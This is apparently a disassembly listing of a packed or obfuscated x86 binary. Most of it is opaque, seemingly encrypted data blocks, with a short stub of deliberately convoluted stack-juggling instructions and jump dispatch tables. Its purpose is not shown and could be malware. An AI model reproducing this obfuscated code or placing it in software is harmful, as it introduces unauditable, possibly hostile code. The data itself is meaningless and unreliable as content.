		dd 35D3E6CCh, 0C9BF39F3h, 3AED1E8h, 7BC7D71Ah, 7A787D28h
		dd 37EFD291h, 0B69B758Ch, 0B5ABF8FEh, 0FBE12B88h, 879E583Ah
		dd 0D71A4D64h, 2BD629C7h, 9D553A14h, 7D633597h,	0EFFA2B57h
		dd 0E00BD944h, 0D737CCE5h, 91FB85C7h, 0D248B5F3h, 0E6FDA8FBh
		dd 6A702A0Ch, 3EF1Dh, 24850000h, 89432B66h, 0E6A08684h
		dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h
		dd 25DDC2C0h, 833B2220h, 89536D7Eh, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2404895Ch, 81E18951h, 4C1h,	4E98100h
		dd 87000000h, 895C240Ch, 3D68241Ch, 89000067h, 68682404h
		dd 8B07E5FAh, 0C483241Ch, 48B5404h, 4C48324h, 8B951h, 0C1010000h
		dd 0C8B1989h, 4C48124h,	0FF000000h, 81582434h, 4C4h, 2434FF00h
		dd 4C4815Bh, 0E9000000h, 0FFFA810Bh, 0D5954214h, 0E5FF5EB8h
		dd 0FFC50307h, 4E846CE0h, 3E4DB064h, 0E3DB920Eh, 0F0953A43h
		dd 5D913612h, 31CCD745h, 0F5E9B75Bh, 0D953AD75h, 58426245h
		dd 27B8A75Fh, 0C97AB47Dh, 857BAE38h, 0E2088B74h, 85D72D11h
		dd 201CBC2Fh, 94947902h, 48797D10h, 0B941D13Dh,	58525E7Bh
		dd 0F4AE3D43h, 0E427F706h, 72E6587Dh, 0AE145553h, 41F3EB47h
		dd 8E911h, 12E70000h, 1073h, 53E90242h,	6800000Ch, 7E60218h
		dd 0FB47F6E9h, 30268FFh, 0ECE907E6h, 68FFFB47h,	7E604DBh
		dd 0FB47E2E9h, 5A968FFh, 0D8E907E6h, 68FFFB47h,	7E6066Bh
		dd 0FB47CEE9h, 85C68FFh, 0C4E907E6h, 68FFFB47h,	7E608E4h
		dd 0FB47BAE9h, 0A3168FFh, 0B0E907E6h, 68FFFB47h, 7E60B21h
		dd 0FB47A6E9h, 0B65ADAFFh, 44DE63DFh, 0CE70F16Dh, 5DF57BF7h
		dd 0ED830A86h, 78D60D16h, 8845BF1h, 9410E785h, 1F9B7212h
		dd 8328FF9Bh, 6380662Ch, 179C6328h, 11AD318Eh, 17B337C3h
		dd 8C28AC58h, 8F31B23Eh, 9B165D5Ah, 63442AF0h, 0EF585B42h
		dd 3B1FA2F2h, 44CF1DB5h, 4263987Eh, 164BB45Bh, 0EB39CF56h
		dd 8F6B5EAh, 1B13A99Bh,	9278B4Ch, 3A1DE17Fh, 2ED90805h
		dd 0E3D7BD83h, 8AF35B42h, 0AAA749CAh, 22EB2760h, 28EEE163h
		dd 6322EA42h, 72C0F55Eh, 22E9E2CCh, 534D63h, 37950451h
		dd 2E92C4h, 11990000h, 0B07635B0h, 6322648Bh, 48EE3CA5h
		dd 6322645Eh, 0D584CFC9h, 0C4371780h, 25B7816Fh, 6A2751EFh
		dd 3B8927AAh, 0E5B53D3Ah, 0BC000000h, 0C311AD31h, 0CC1AB037h
		dd 890C5341h, 6DBB5DDEh, 12D66A6Ch, 2CB0E0DDh, 0F15A4006h
		dd 40765B42h, 6194A21Ah, 285D9271h, 0A3CA4EDAh,	33348220h
		dd 553EF73h, 62F8CF04h,	5B435C45h, 0AA811DA1h, 4F0EAA2Eh
		dd 52F8DEA4h, 0AB145B43h, 7D44F0AEh, 52FEA968h,	0E4E533CDh
		dd 74A89DE7h, 7BE46323h, 483B29A4h, 0DC95808Dh,	3091E1DEh
		dd 5D4BF6B5h, 127D3135h, 206A67F4h, 6B059E98h, 1CC887F0h
		dd 5240FF95h, 8B3ED96Ch, 0C950104Ah, 0E7E4E533h, 79D24A0h
		dd 0A056C2FDh, 811FF972h, 9E0h,	4E25C949h, 0DCB34DD2h
		dd 663DDF60h, 0F5CC64EAh, 855CF279h, 60E7677Ch,	0F477F3CAh
		dd 81037F56h, 0A8E0AE1h, 9BF2976Eh, 2864EFD5h, 0FD860B63h
		dd 0C48AAA31h, 5B4262DEh, 0DC7CFEF2h, 1F9B72A7h, 0AB28FF9Bh
		dd 7635B011h
		dd 22648BB0h, 0EE3CA563h, 22645E48h, 84CFC963h,	2BC74BF7h
		dd 17F8DD2Eh, 0CB77C437h, 27AFAC46h, 0C1h, 11AD312Eh, 0FBE1A752h
		dd 0F5B4262h, 3B21E7A6h, 4F5B4263h, 9F2BE9E6h, 0A9348218h
		dd 635238FEh, 56E5B42h,	2A27BF45h, 4267C3E0h, 7CA3275Bh
		dd 800C5AFAh, 121361FBh, 55D1A8DDh, 5CE735D1h, 0D2922AB0h
		dd 63B3B050h, 2C8875Eh,	6322880Dh, 6D058B7Fh, 358B7938h
		dd 96387167h, 5DF9403Dh, 0FCC28164h, 6B052563h,	9B574DDh
		dd 9915EC82h, 41727C12h, 7672A054h, 8F6FE9Ch, 0B3330000h
		dd 37BC380Fh, 0C94AC69Dh, 4ED45027h, 0DC63DFB6h, 7D666F46h
		dd 0DDB44AD1h, 6940DE61h, 0F4CB6BEDh, 8158F478h, 0D9BF85DCh
		dd 0F5632865h, 0AA31E770h, 3DC13D14h, 0A9F79116h, 0AEFC9A1Dh
		dd 6C4378ADh, 48632EFh,	56151664h, 4263AA90h, 605DC65Bh
		dd 5110AC30h, 0B8BA1FA5h, 0FC27F29Ch, 5C1A174Ch, 37A225D1h
		dd 12534C5Bh, 0E02E63B1h, 2EB2E2DFh, 0A21FBB92h, 609537B8h
		dd 0D86EF5A1h, 0DDFCBC8Ah, 8D3F06BAh, 614A5658h, 62D61184h
		dd 27703665h, 4163235Ah, 0FA2FC74Dh, 0E97A4D3Bh, 1F7E9832h
		dd 2DD96422h, 0BCBD0BABh, 6F0B8FBFh, 0E28204B0h, 4F969394h
		dd 65B34FD3h, 68E7F6BFh, 0CB9A30EAh, 0DC9B37BBh, 110EAE30h
		dd 1FA34FCAh, 0A44D33F9h, 0F861DBE8h, 777475C3h, 0D927C347h
		dd 0E8A44A33h, 9D3FC0DBh, 0A240C34Fh, 0A844C854h, 0DD60338Dh
		dd 8D1D68C2h, 371DE309h, 53DBE8A4h, 0D7410F1Dh,	63BC132h
		dd 0D37FFAD1h, 85B5B250h, 86679801h, 73F76A9Fh,	4CD37F3Eh
		dd 6A6768B6h, 0D1906ACh, 29C8DBE9h, 0A05FF77Dh,	9BB7F4DAh
		dd 0A29F08DAh, 7E2AB90Ch, 635D5FF9h, 92A0AB4Eh,	74F82825h
		dd 979E1F0Bh, 0EA1F8396h, 77139713h, 0A1447D29h, 6CA71CE2h
		dd 8834E27Ch, 17186606h, 0B5A901Ah, 11474B47h, 8420F72Ch
		dd 3EE9A83Dh, 22701092h, 0A1DA2421h, 5BDBDC2Eh,	28733F2h
		dd 0B54C1A68h, 0C956F1B8h, 73312E63h, 9BB7E4CDh, 0E554FDAh
		dd 8E477A5Fh, 476A0BCh,	0FEA90000h, 9BC05238h, 8056EDAh
		dd 633117D7h, 0A38D5B42h, 0FF5B4273h, 5B4276FDh, 4275DFC9h
		dd 598C355Bh, 0D068EE9Ah, 55848182h, 22945A8Fh,	0C3CD3663h
		dd 7542EA28h, 1DA7451Fh, 0C000007h, 9511E88Ch, 239F7610h
		dd 0AD2900A2h, 3CB88F27h, 3F481FB5h, 8D23AAA4h,	19B73AB6h
		dd 0A444C642h, 31CD51CDh, 985EB55Ah, 632867B2h,	31C049CEh
		dd 0D52344ADh, 0BA43EEA3h, 916B7E6Bh, 386DA293h, 95833EEAh
		dd 36B9893Fh, 0AF769698h, 1A4FF172h, 0BC6026E5h, 2F632896h
		dd 95D8BE84h, 8BF46328h, 0C49B048Eh, 7849DECBh,	57E8AE6Dh
		dd 0F16B089Dh, 0D37A5488h, 0A70AA9D3h, 1195411Ah, 6BB59B75h
		dd 60C90AA9h, 2F7D1FA0h, 743AF92Eh, 128983A7h, 46F240A9h
		dd 0E5AB6A7Bh, 0BA9ACF3h, 0BB67268Fh, 71A09D35h, 0E6A541C5h
		dd 0CC1AB63Ah, 0C87CECBh, 8CB59B61h, 0D5C90AA9h, 6869B74Fh
		dd 82063633h, 0CDCFDCE6h, 22FCDDC5h, 64F84h, 0B65ADA00h
		dd 44DE63DFh, 0CE70F16Dh, 5DF57BF7h, 0ED830A86h, 78D60D16h
		dd 8845BF1h, 9410E785h,	1F9B7212h, 8328FF9Bh, 6880662Ch
		dd 179C6328h, 35B0118Eh, 9067B076h, 18816322h, 0CE943FCAh
		dd 63228FE8h, 6E9E9B04h, 6B0081EAh, 2EFC9048h, 2F31A78Ah
		dd 73C1837h, 791B9C48h,	6F2D2A2Bh, 144211A7h, 0B37938ADh
		dd 6B031C6Ah, 0B35E1D86h, 430407EDh, 0BDBA235Bh, 3F6E076h
		dd 0C16D5B43h, 0C4509E40h, 5455A341h, 0F2D8221Fh, 485B4303h
		dd 2AD6C79h, 3936D256h,	29044BEFh, 2C7AE363h, 0D373F5A1h
		dd 3D878485h, 6329045Ah, 2903CBB6h, 749B1F63h, 141E53F1h
		dd 8ABBBA8Dh, 8D42E0BAh, 9C000005h, 25A1781Ch, 0B32F06A0h
		dd 3DB99032h, 0CC481FB7h, 0CFD8AF45h, 1DB33A14h, 0A947CA46h
		dd 34D456D2h, 0C15DE15Dh, 28EE45EAh, 63286942h,	1150D95Eh
		dd 0CA7635B0h, 5B5CAA46h, 7E7B179Bh, 63E5894Fh,	10796328h
		dd 8BB236C2h, 1B1C6A08h, 0B67C27E6h, 632862D0h,	3F8683ECh
		dd 7BC924A3h, 0F8CF6BEFh, 0E5CF87Ch, 0A362FE82h, 477E8FB5h
		dd 6E6BA222h, 2AD6C9B0h, 2EB907A9h, 286D8268h, 359E63h
		dd 99266D03h, 3E617AABh, 5F5C2B17h, 0BF85AB2Fh,	6328F3D9h
		dd 80578CF5h, 9C481705h, 52A040C2h, 5C74F51h, 795EAFACh
		dd 9FC4317Ch, 18Fh, 0BCBEBAA8h,	6A2221F8h, 3E8C24AAh, 110F403Dh
		dd 887635B0h, 0A243B1EBh, 0C7F6F3ADh, 22B48C01h, 49970063h
		dd 2290BBA3h, 0CAA2D63h, 14AC32BEh, 1D68FEC6h, 0D0A3FD18h
		dd 7C61FA2h, 8105B15Ch,	90250BE5h, 45396322h, 0F0ED22C4h
		dd 2AE31A6h, 0BE24B6Bh,	48A20B8Fh, 0B25A8226h, 8E83692Fh
		dd 2E975B42h, 0EA76C4F9h, 1D0BCA66h, 59A11D69h,	1A615EFBh
		dd 0E3A2437Eh, 22CBE41Dh, 7837A063h, 33F668Ah, 22C5573Dh
		dd 80A7363h, 0C84F15B1h, 0AEE3E432h, 634DF3B1h,	0CE63231Ch
		dd 8BD081D4h, 11C437ABh, 3Bh, 35B01118h, 9D1FCB76h, 0A023AFFDh
		dd 7EB3B402h, 65123781h, 0C52E6322h, 63E7D177h,	0BF526322h
		dd 64684E14h, 1B846322h, 8C3D881Eh, 0C437174Fh,	58F87A26h
		dd 97D35Bh, 31DA0000h, 37C311ADh, 40CC1AB0h, 0B56120BCh
		dd 45469432h, 7AFE8A48h, 547107DEh, 325B4268h, 9F3B12AEh
		dd 1BB13822h, 67B0965Ch, 63CC5B42h, 8EA96F2Eh, 0A2632520h
		dd 23CF7A39h, 0D808059Dh, 69E4BB51h, 509E38BDh,	5CF34D4Fh
		dd 0C3EEB2BBh, 790F96C6h, 40329E6Fh, 35D3AD75h,	39Ch, 92690D8Dh
		dd 20F79116h, 0AA8123A4h, 3910A82Eh, 0C9A036BDh, 0A42B23C0h
		dd 38BB370Eh, 0C547C39Ah, 4ED24E25h, 0DF36DBB2h, 286B3319h
		dd 39C24763h, 3D14AA31h, 0CAA13DC1h, 86AD314Dh,	8A166404h
		dd 0FF346907h, 5A125B1h, 7C149A46h, 17BB387Fh, 5B42E32Dh
		dd 42E39F89h, 8ECCF55Bh, 79386D0Bh, 28E30FB3h, 0C98C7A63h
		dd 541C6D37h, 319A2421h, 5B8A37E3h, 4445D69Ch, 0D63F6B09h
		dd 0A43539CCh, 96340E72h, 314h,	1AF19515h, 0A87F199Eh
		dd 3209AB2Ch, 0C19830B6h, 5128BE45h, 2CB39B48h,	0C043BF96h
		dd 4DCF4B22h, 0D65AD6ADh, 67BE633Ah, 286BBBA1h,	0C14ACF63h
		dd 0D7B54432h, 6D3548F1h, 20BC4070h, 26C246D2h,	10F6BC67h
		dd 2C5B4352h, 528D7339h, 38A15B43h, 23BF0603h, 0DC88479Eh
		dd 6F70BE56h, 447D4372h, 40632359h, 0F9E389D7h,	6463234Bh
		dd 2A425D1h, 20B6B3B4h,	0FB372455h, 13BEC437h, 2354674Dh
		dd 1D1A8363h, 2E95h, 0B0119C00h, 8BB07635h, 0A5632264h
		dd 5E48EE3Ch, 0C9632264h, 80D584CFh, 16C43717h,	0DEh, 53EF731Fh
		dd 80020405h, 0E84BCA57h, 310A3B38h, 670186ADh,	0D158E432h
		dd 308E7C3Bh, 0C2D27A09h, 0DA662421h, 0E06CBA56h, 5501C05Ch
		dd 0F13835D1h, 47F38876h, 0F7F78E4Bh, 4C93B0FAh, 73F75B43h
		dd 8400D7h, 576A1664h, 9E23CF8Eh, 997F4504h, 0B55B4344h
		dd 75204F4Ch, 441E04CAh, 0C9325B43h, 683182CCh,	281B6323h
		dd 23257C62h, 0F2279063h, 0DCC28833h, 4B632324h, 23259F85h
		dd 3852BB63h, 0EF8BD2CFh, 8E5413D2h, 6B05E26Dh,	0E47E03F7h
		dd 0BD44F0AFh, 4DD45027h, 9AC8ADB7h, 25FF72A0h,	1C787h
		dd 3EE26200h, 0CC66EB67h, 56F879F5h, 0E57D037Fh, 750B920Eh
		dd 4E959Eh, 900CE379h, 1C986F0Dh, 0A723FA9Ah, 0BB08723h
		dd 6D08EEB4h, 9F246328h
		dd 14AA3116h, 0A13DC13Dh, 0B0114DCAh, 8BB07635h, 632264h
		dd 0E937CD54h, 0F861EBE8h, 641A04AAh, 8B856322h, 174C8938h
		dd 7723C437h, 0C5759F1h, 1FDC4451h, 0C632BAB7h,	39000000h
		dd 0DDD44432h, 600813D2h, 13AF3363h, 1CB239C5h,	149743CEh
		dd 179C2876h, 14B487Dh,	5B4356E4h, 0E3A23EC2h, 41B209F5h
		dd 403D8938h, 5DF97DF9h, 4020B09Eh, 0F386BB8Eh,	393BB3FAh
		dd 37F794B2h, 5F1D1AB0h, 18D70EB3h, 228F0152h, 0CBA20B63h
		dd 9453922Fh, 5474ECEh,	0F2B11A6Bh, 6A29BF46h, 0F513F9BFh
		dd 0BE275B44h, 11FF7AC1h, 0E79FE407h, 0BFEFEC35h, 0F5951738h
		dd 4DDBB6C0h, 16F072A0h, 0D778h, 2ED25200h, 0BC56DB57h
		dd 46E869E5h, 0D56DF36Fh, 65FB82FEh, 0F05E858Eh, 80FCD369h
		dd 0C885FFDh, 9713EA8Ah, 0FBA07713h, 6DF8DEA4h,	8F146328h
		dd 1863206h, 1B181967h,	0F7CE64EBh, 845BF77Bh, 4863207h
		dd 13151664h, 0CC6562C1h, 0C4F4F170h, 0CA56A440h, 58D3AA46h
		dd 4C83BFADh, 320A414Bh, 43517258h, 28258E5Bh, 3DFCE9D8h
		dd 2951CF77h, 9516C263h, 886E34F3h, 0A4632951h,	0C1B43E3Bh
		dd 295115FBh, 0BEC02963h, 0A858B84Eh, 307EB394h, 0AD8420A4h
		dd 0C311AD31h, 0BDC0371Dh, 9026AD7Ah, 9434B642h, 0E4AFB546h
		dd 84CF6561h, 0C54B72F6h, 0A521F82Dh, 0AB378521h, 8F3F8D25h
		dd 68ECFAC9h, 0CE7AF5CCh, 39F234Ah, 827F80CEh, 0E432CE52h
		dd 346h, 0B502C100h, 0BF0DB131h, 0C513AF33h, 0C917B739h
		dd 0CE1CBA3Dh, 0D725BB42h, 0E02EC44Bh, 0E836CE54h, 0EB39DB5Ch
		dd 0F240DA5Fh
		db 63h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	5139h
		mov	[esp], ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		push	7E600A9h
		mov	ebp, [esp]
		add	esp, 4
		push	13AAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		sub	dword ptr [esp], 4B350561h
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 4B350561h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_560FFB
; ---------------------------------------------------------------------------
		dw 0D682h
		dd 1DB8DEEAh, 307E60Ch,	0FCE0FFC5h, 26470AA6h, 785AE78Bh
		dd 66795493h, 0CB3773C7h, 0C2576B60h, 0C06E0678h, 0EE2D57FFh
		dd 36677497h, 0E3787575h, 983CE6F8h, 480FB99Ah,	664B7149h
		dd 0DB26D377h, 8D310C70h, 0E60DB48Dh, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 8B50601Ch, 0E0083185h, 8B615A07h, 158D89F1h,	6A07E018h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 8BACC357h, 4985C7F3h, 0A407E020h,	6A00005Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 2965C350h, 9A8C4255h, 0F0FD98Bh, 8Ch, 0C585C700h
		dd 7E022h, 0FF000000h, 0E012ADB5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 9886124Dh
		dd 89DED395h, 0E03245B5h, 9195FF07h, 3107E020h,	0E017D985h
		dd 0FF006A07h, 0E018A995h, 0EBC08B07h, 998E261Ch, 5C92AA93h
		dd 0F2B8E199h, 0E64707EDh, 0C109A45Eh, 4444285Bh, 9235220h
		dd 0B9E9C6h, 0C2BC0000h, 9CD74B9Fh, 0C8C3CA45h,	0ABDAB6E1h
		dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh
		dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h
		dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h,	97B1EF76h
		dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h
		dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h,	0BF9792B0h
		dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh,	9492ABF7h
		dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh
		dd 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 0E900005Eh, 159Ch, 0E610B468h
		dd 7239E907h, 0B268FFFAh, 0E907E611h, 0FFFA722Fh, 0E612A768h
		dd 7225E907h, 0EB68FFFAh, 0E907E613h, 0FFFA721Bh, 0E6147F68h
		dd 7211E907h, 0F68FFFAh, 0E907E615h, 0FFFA7207h, 0E615AC68h
		dd 71FDE907h, 8968FFFAh, 0E907E616h, 0FFFA71F3h, 0E6171F68h
		dd 71E9E907h, 0CA68FFFAh, 0E907E618h, 0FFFA71DFh, 0E619AF68h
		dd 71D5E907h, 0EC68FFFAh, 0E907E61Ah, 0FFFA71CBh, 0E61C3968h
		dd 71C1E907h, 0B868FFFAh, 0E907E61Dh, 0FFFA71B7h, 0E61EC668h
		dd 71ADE907h, 0CA68FFFAh, 0E907E620h, 0FFFA71A3h, 0E621B268h
		dd 7199E907h, 856DFFFAh, 0F8DFB1CBh, 6F542640h,	0E2CB9DB7h
		dd 5C3E102Ah, 8A3388A2h, 0DFF9B395h, 556F290Dh,	0CEE8A083h
		dd 425C16FCh, 5D547762h, 1921D492h, 452B0DA7h, 0A288868Bh
		dd 7EA2CEE8h, 7787AAC1h, 12E5AA7h, 4B62A9AEh, 0F221DA9Bh
		dd 59853C91h, 678A0C8Dh, 21DA4D4Ah, 64DDE134h, 5B6167C9h
		dd 53D4CE2Fh, 3548h, 4FD19200h,	1BFFD9F0h, 0B5BA745Ah
		dd 170E13BEh, 638FB211h, 9D2E5AA0h, 0AFFE454Ah,	8E21DA9Fh
		dd 4C7AD02Dh, 6753D4EBh, 119h, 64B74874h, 1C5B7BB1h, 452BF416h
		dd 0F723868Bh, 182EE700h, 0C47E6453h, 171DC8BFh, 40283B1Dh
		dd 541C6EADh, 0F4C1F013h, 6ABD29B9h, 0AC0F14BFh, 2B31E9D2h
		dd 7D384B31h, 36C1CBF3h, 0C5041BC6h, 0BA160FA2h, 0E146729h
		dd 9B845EC1h, 0E1E7DEE3h, 2D4701E7h, 0BA19C512h, 0CA846A29h
		dd 3EF8DEB0h, 18FCD639h, 0B3B87057h, 0B70B11BCh, 90B3CA69h
		dd 2E59F232h, 83F59ACh,	2DC203DCh, 7557783Dh, 14BFB6BBh
		dd 0BDC27C62h, 0A46CC0C6h, 0F8B9DC1Bh, 7E21DAA0h, 0A081302Bh
		dd 0AAFD21DAh, 4C9022A6h, 9E49F37Eh, 0B4EB6487h, 0F14B2677h
		dd 151560Eh, 0BE7E094Ch, 0AB56018Dh, 0B2D8BA94h, 0B7CF228Fh
		dd 5E095C29h, 0CE866D47h, 552F66C8h, 0BBB2B771h, 1FD9BBB5h
		dd 11856846h, 6A9881E6h, 12C6h,	233DF7DFh, 98B26A51h, 0F29E1C6h
		dd 829C543Dh, 0FA14CEB0h, 25073CA5h, 9B7F516Bh,	12F5C7E1h
		dd 886E405Ah, 0E9D4B4CEh, 0D490EBC6h, 87219321h, 758F492Bh
		dd 0E903BDA3h, 0F04FD1EFh, 0A03CB6D9h, 0A8822E5Ah, 0E8070DC5h
		dd 1C3F7E95h, 21DA9F95h, 3B888EE1h, 0DA9FB9F4h,	0CE238421h
		dd 0D4EB3270h, 0F05D53h, 2BA70000h, 88868B45h, 46FEE5A6h
		dd 0F6BBDE41h, 8029BAA0h, 0E7D0822Dh, 88332A2Fh, 61462083h
		dd 7760A3A9h, 0F429BAA5h, 0FE3D540Eh, 0BA9CD6DBh, 474DA029h
		dd 4C6FAEE5h, 29BA9D65h, 230CBE11h, 856B656Bh, 2429E1C4h
		dd 916B822Dh, 9EEBF1ABh, 465DDA46h, 0D9CFA71Ah,	0C1C722DCh
		dd 0CE833F62h, 0AAFD2E59h, 9D7F5990h, 8789DDE3h, 0F06E91A8h
		dd 26267784h, 304A1EFAh, 0B4BABED7h, 512B4295h,	0C99BB56Fh
		dd 139EC1E7h, 6B29B89Bh, 0BC946D18h, 0D9E610B8h, 11C8C2F0h
		dd 0F5DD0000h, 684F213Bh, 0DFC496B0h, 523B0D27h, 0CCAE809Ah
		dd 3AA3F812h, 4F692305h, 0C5DF997Dh, 3E5810F3h,	0B2CC866Ch
		dd 0EDC4E7D2h, 8921D48Fh, 492B7D17h, 0BA9E788Fh, 0C698FA00h
		dd 0D00F26E0h, 0BAA104ADh, 21277A29h, 905C88BFh, 0AB0FBEC8h
		dd 0A3C18E92h, 2F23E8FBh, 452B0729h, 1235748Bh,	29BAA09Fh
		dd 317E84D7h, 79934D33h, 0CA846842h, 2DE5CAC4h,	8A442A28h
		dd 602A2670h, 1D5C73B0h, 0FAD9C0F1h, 0AACD5FCEh, 29BA8F07h
		dd 6B711C6Fh, 5A933E28h, 755EB82Eh, 16C1B8BDh, 0B4325E61h
		dd 0BD5760Fh, 0FBA65E41h, 23FCB2F5h, 0DB45D650h, 7022455Ch
		dd 0C63DF057h, 0CC0B6E73h, 305808A9h, 151B6E32h, 0C9E05FC1h
		dd 0CF952FA6h, 492D8736h, 0A1CDE48Fh, 85411819h, 99F8FE42h
		dd 90B3D9BFh, 3950EB21h, 455F0A5Dh, 0FAD38D73h,	0D6786938h
		dd 0D3326049h, 0D2000010h, 441630EAh, 0B98BA55Dh, 30021CD4h
		dd 0A3758F47h, 98ED07C1h, 5E18FA2Fh, 0D48E7244h, 4D05E8BAh
		dd 0C17B6133h, 0B9DCC7A7h, 21D48EF8h, 2B720C7Eh, 9A748B45h
		dd 0A8F5FBB3h, 4C63C050h, 5A835529h, 124E32Eh, 21DA7BB0h
		dd 0AEC873C6h, 8AA19E82h, 7A690767h, 0CFF23126h, 29BA96E2h
		dd 2443499Ch, 976F4265h, 492C29BAh, 0BE958C91h,	5138676Bh
		dd 87B31476h, 1D90D7DCh, 2029B9B6h, 0DE0C62BFh,	1E543401h
		dd 9EA45E44h, 501Ah, 80FB2700h,	0FA13AE8Ch, 79F08286h
		dd 839600EAh, 4FD15B7Dh, 1FB6D9F0h, 972E5AEFh, 989D573Dh
		dd 5DFF6A1h, 35506A22h,	21DA527Ah, 6B853F25h, 0E7FEB699h
		dd 532C85A8h, 0FF5221DAh, 0A49ACF9h, 0DA52CAE7h, 735AB421h
		dd 0E00A10BBh, 0FF6h, 0F04FD176h, 0AF80B6D9h, 0A3F62E5Ch
		dd 12CCB28Ch, 864026F8h, 41E72981h, 0A79EA35Dh,	69EA45A3h
		dd 8F3AADD9h, 2BC9E78h,	715406FDh, 3154B3B9h, 2675C7BAh
		dd 9AC6DD30h, 0D60E54Eh, 0FEE2949Bh, 5DF3E44h, 794B651Fh
		dd 71D4D993h, 0F4FAB297h, 9CB370A0h, 5A2CF979h,	532C7F2Eh
		dd 0EDEF2617h, 8F95C3ACh, 1600000Fh, 885A742Eh,	0FDCFE9A1h
		dd 74466018h, 0E7B9D38Bh, 0DC314B05h, 0A25C3EF3h, 18D2B688h
		dd 91492CFEh, 5BFA577h,	0FD200BEBh, 21D48DB4h, 0C6BE58CAh
		dd 494E08ECh, 0A4094C52h, 9D29BAA0h, 719DB473h,	0C9718649h
		dd 0F6BBDE34h, 8029BA63h, 1D7C822Dh, 5C6ED9FAh,	0F70E612Eh
		dd 0EE11371Dh, 21D470C3h, 0C1E20FBBh, 8745001Ch, 451731DCh
		dd 0FDB59E5Fh, 0C7EA01F8h, 21D3F5EAh, 91964194h, 4158D739h
		dd 73D8601Eh, 0AA83D626h, 0E6154174h, 0FBF6240Dh, 0AA00000Eh
		dd 1CEE08C2h, 91637D35h, 8DAF4ACh, 7B4D671Fh, 70C5DF99h
		dd 36F0D247h, 0AC664A1Ch, 25DDC092h, 9953390Bh,	91B49F7Fh
		dd 21D48D20h, 2B4AE456h, 88868B45h, 4FDC8FA2h, 5018C5EAh
		dd 8A1DF44Ch, 0B15C60F9h, 0A90637ACh, 34F71753h, 9544054h
		dd 0D18A0000h, 0B6D9F04Fh, 2E5CAC0Ah, 4C263D90h, 5B92AC66h
		dd 0DCE29A81h, 60E9FCE2h, 0F1D04A00h, 0BC0308B3h, 21D478F1h
		dd 4C63C050h, 745B5529h, 0B790E326h, 0E614C087h, 6B0D3B24h
		dd 3A00000Eh, 0AC7E9852h, 21F30DC5h, 986A843Ch,	0BDDF7AFh
		dd 556F29h, 0C68062D7h,	3CF6DAACh, 0B56D5022h, 29E3C99Bh
		dd 21442F0Fh, 21D48B90h, 2BDA74E6h, 88868B45h, 6EE3E8A2h
		dd 5C8AE03Dh, 9C5434E6h, 0B8A28E70h, 1FD185CEh,	82797E36h
		dd 8C4F87Ch, 2B050000h,	688A9048h, 0BAA0CBE2h, 86AA7629h
		dd 263DE8A2h, 6A2B0DE7h, 0D0C7CC86h, 0A4DC1F25h, 0B22E5CAEh
		dd 8B6E485Fh, 0D1D7CED3h, 0F8B29872h, 6C260CDEh, 22010F67h
		dd 7596E80Bh, 4DA02674h, 14DF5A74h, 0D402EBE6h,	0DCEh
		dd 1B35EFD7h, 90AA6249h, 721D9BEh, 7A944C35h, 0F20CC6A8h
		dd 1DFF349Dh, 93774963h, 0AEDBFD9h, 80663852h, 0E1CCACC6h
		dd 0D48BF3BEh, 7F198B21h, 77639AC6h, 0DE90F98Dh, 0B9B7F6BBh
		dd 822D8029h, 0E29C827Ch, 3FF9DFDDh, 0A05A3C3Ah, 1BB9D9Bh
		dd 0B20FD0FCh, 512B466Fh, 3BB0B66Eh, 70552FE6h,	6A2406B8h
		dd 0F205E64h, 96705434h, 6CF0F6B0h, 806h, 0E94FD1B6h, 8CA34E06h
		dd 5CAF0C69h, 176A2Eh, 93139EC1h, 82B21D4h, 21D492A9h
		dd 58AB82D5h, 3319F352h, 0A78D5F79h, 4685E8EDh,	0D4928E23h
		dd 8F95E821h, 0D493614Ch, 0F330E021h, 631B02DCh, 261675Eh
		dd 74759FDFh, 967F5926h, 76624F72h, 0C91C29B4h,	0CF876C1Eh
		dd 0AECDD3CAh, 0DE6E825Bh, 1A03E614h, 0CF1ECh
		dd 12CCB400h, 873F26F8h, 0FEB69B6Dh, 712912E4h,	0E9A38557h
		dd 0DC517ACFh, 542640FAh, 0CA9CB670h, 43152FE7h, 0A989A35Dh
		dd 8B169BBEh, 0EE6021D4h, 8B452B54h, 0E8A28886h, 0E03D6EE3h
		dd 34E65C8Ah, 7587754h,	0E2C10000h, 29BAA0D0h, 0EDA58C66h
		dd 0AE8D93E7h, 0AF1E7497h, 0C5182E5Ch, 34EED4AEh, 3C62481Ah
		dd 0D4929819h, 0E08BDE21h, 520AEFC9h, 350564Dh,	0AFC665ABh
		dd 749FEE8Ch, 7EEC826h,	7E2A494Fh, 7EDB2CE1h, 0E5BE698Bh
		dd 0E614FBD7h, 5B598770h, 4A00000Ch, 0BC8EA862h, 31031DD5h
